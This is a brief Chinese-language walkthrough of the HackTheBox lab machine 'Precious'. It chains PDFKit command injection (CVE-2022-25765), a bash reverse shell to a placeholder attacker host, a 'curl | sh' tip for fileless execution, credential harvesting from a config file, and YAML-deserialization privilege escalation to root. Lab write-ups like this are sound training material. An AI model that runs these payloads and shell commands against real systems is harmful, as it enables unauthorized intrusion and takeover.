hackthebox precious easy
常规进行信息收集以及开放端口
访问80进行探测
主页有一个html2pdf的功能
探测一下正常业务看看是否存命令执行等
正常业务下载好文件后,利用exiftools查看该pdf的信息发现发现power by pdfkit v8.6.0
存在CVE-2022-25765
PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").to_pdf # 5 seconds wait...
#{} 是提醒reader 里面是要填写的信息
发现返回存在漏洞执行后,可以利用bash -c '/bin/bash -i >& /dev/tcp/kaliip/1234 0>&1 ' 或者python或其他已经安装好的函数进行反弹shell
获得反弹shell之后再利用特定的sudo -l 查看计划任务 以及linpeas.sh进行 tips:curl xx | sh 可以直接进行 内存执行不留下文件
然后可以发现/home/ruby这个用户的家目录有一个环境变量是多出来的叫.bundle/config 查看发现另一个用户的账号密码
通过ssh进行访问 进入到henry用户的shell中
sudo -l查看有一个/usr/bin/ruby 执行的rb文件
查看发现是用了yaml.load函数 可以造成反序列化
漏洞利用
复制这段payload并通过ruby用户进行修改dependencies.yml文件
并进行sudo /usr/bin/ruby /opt/update_dependencies.rb 成功执行 我们鞋子啊git_set:这个参数的命令
因为是利用root权限进行执行 ,可以直接 chmod +x /bin/bash 进行设置
再利用/bin/bash -p 提权到root权限